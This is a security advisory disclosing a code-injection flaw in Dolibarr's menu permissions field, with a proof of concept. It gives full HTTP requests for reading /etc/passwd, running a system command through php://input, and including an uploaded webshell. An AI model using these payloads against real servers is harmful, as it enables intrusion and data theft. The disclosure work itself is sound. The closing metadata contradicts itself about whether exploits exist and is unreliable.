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GHSA-49xw-hw94-fmv2
No affected components available
Summary
The Dolibarr backend provides the function of adding Menu, and supports setting permissions for the added Menu:
This is the trigger point of the vulnerability. The submitted permission can be php code, and it will be executed when viewing the created Menu:
- htdocs/admin/menus/edit.php
As you can see, in edit.php, if the created menu is set to $menu->perms, the dol_eval() method will be called. Following the dol_eval() method, we can see that it will filter the dangerous php functions in $menu->perms through the blacklist set in $forbiddenphpfunctions:
However, the blacklist here is not comprehensive. For example, the include_once and require_once functions can easily pass the blacklist check, which will cause file inclusion vulnerabilities. Moreover, if the allow_url_include option is enabled in php.ini, arbitrary code execution will occur. The most serious thing is that we can cooperate with the file upload at /htdocs/user/document.php?id=1&uploadform=1 to achieve more general arbitrary code execution.
Proof of Concept
Local File Inclusion
(1) First, create a Menu and set "Permissions" to include_once('/etc/passwd') (note that '' must be used here because " will be detected):
POST /htdocs/admin/menus/edit.php?action=add&token=fae63868ce9c2a7eece04a49ffdbe23f&menuId=0 HTTP/1.1
Host: 192.168.31.31
Content-Length: 210
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.31.31
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.31.31/htdocs/admin/menus/edit.php?menuId=0&action=create&menu_handler=all&backtopage=%2Fhtdocs%2Fadmin%2Fmenus%2Findex.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ru;q=0.7,ja;q=0.6
Cookie: DOLSESSID_cc5001a0224d79c07308a0908c6213b79e5d7d10=82ef3f1d798bf58a0e11c0cbacc390dd
Connection: close
token=fae63868ce9c2a7eece04a49ffdbe23f&menu_handler=all&user=2&type=top&propertymainmenu=test1test&titre=test1test&url=test1test&langs=&position=100&target=&enabled=1&perms=include_once('/etc/passwd')&save=Save
(2) Then we look at the Menu we just created, and we can see that the contents of /etc/passwd have been successfully read out:
Remote Code Execution - 1
(1) We first ensure that the allow_url_include option of php.ini on the server is On:
At this point, we can use remote file inclusion and cooperate with php://input to achieve arbitrary code execution.
(2) Create a Menu and set "Permissions" to include_once('php://input') (note that '' must be used here because " will be detected):
POST /htdocs/admin/menus/edit.php?action=add&token=fae63868ce9c2a7eece04a49ffdbe23f&menuId=0 HTTP/1.1
Host: 192.168.31.31
Content-Length: 210
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.31.31
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.31.31/htdocs/admin/menus/edit.php?menuId=0&action=create&menu_handler=all&backtopage=%2Fhtdocs%2Fadmin%2Fmenus%2Findex.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ru;q=0.7,ja;q=0.6
Cookie: DOLSESSID_cc5001a0224d79c07308a0908c6213b79e5d7d10=82ef3f1d798bf58a0e11c0cbacc390dd
Connection: close
token=fae63868ce9c2a7eece04a49ffdbe23f&menu_handler=all&user=2&type=top&propertymainmenu=test1test&titre=test1test&url=test1test&langs=&position=100&target=&enabled=1&perms=include_once('php://input')&save=Save
(3) Finally, the system command is successfully executed through the POST request:
POST http://192.168.31.31/htdocs/admin/menus/edit.php?menu_handler=all&action=edit&token=fae63868ce9c2a7eece04a49ffdbe23f&menuId=24 HTTP/1.1
Host: 192.168.31.31
Content-Length: 27
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.31.31
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.31.31/index.php?url=/etc/passwd
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ru;q=0.7,ja;q=0.6
Cookie: DOLSESSID_cc5001a0224d79c07308a0908c6213b79e5d7d10=82ef3f1d798bf58a0e11c0cbacc390dd
Connection: close
<?php system('ls -al /');?>
Remote Code Execution - 2 (File Inclusion with file upload)
At this point, we are absolutely sure that a file inclusion vulnerability can be achieved by setting "Permissions", and arbitrary code execution can be achieved with allow_url_include = On. However, the setting allow_url_include = On does not exist on every server. Therefore, to achieve the purpose of universal arbitrary code execution, we need to cooperate with the file upload (without suffix) function.
(1) We can upload a file containing php webshell code through the "Attach a new file/document" function in /htdocs/user/document.php?id=1&uploadform=1. The file name is "shell" (this file There must be no suffix, otherwise the detection of . by dol_eval() cannot be bypassed when setting "Permissions" later. Among all file upload points, only "Attach a new file/document" can be Upload files without suffix):
(2) upload the "shell":
Images uploaded from here will eventually be saved on the server in the "/var/www/html/documents/users/1/" directory:
（3）create a Menu and set "Permissions" to include_once('/var/www/html/documents/users/1/shell') (note that '' must be used here because " will be detected).
POST /htdocs/admin/menus/edit.php?action=add&token=fae63868ce9c2a7eece04a49ffdbe23f&menuId=0 HTTP/1.1
Host: 192.168.31.31
Content-Length: 210
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.31.31
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.31.31/htdocs/admin/menus/edit.php?menuId=0&action=create&menu_handler=all&backtopage=%2Fhtdocs%2Fadmin%2Fmenus%2Findex.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ru;q=0.7,ja;q=0.6
Cookie: DOLSESSID_cc5001a0224d79c07308a0908c6213b79e5d7d10=82ef3f1d798bf58a0e11c0cbacc390dd
Connection: close
token=e71337659d7cbae16b0279b4e04535aa&menu_handler=all&user=2&type=left&propertymainmenu=whaoamia&menuIdParent=123&titre=whaoamia&picto=whaoamia&url=whaoamia&langs=&position=100&enabled=1&perms=include_once('/var/www/html/documents/users/1/shell')&target=&save=Save
(4) Finally, when we access the Menu we just created, we can find that the "/var/www/html/documents/users/1/shell" file is included:
Finally, arbitrary code execution was successfully achieved:
Impact
This vulnerability can run arbitrary commands in the file system and read sensitive files.
Say it at the end
If you confirm the vulnerability, please apply for a CVE to notify all users to update.
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.
Exploitation activity has been observed. Apply available patches or mitigations urgently.
Probability that this vulnerability will be exploited in the wild within the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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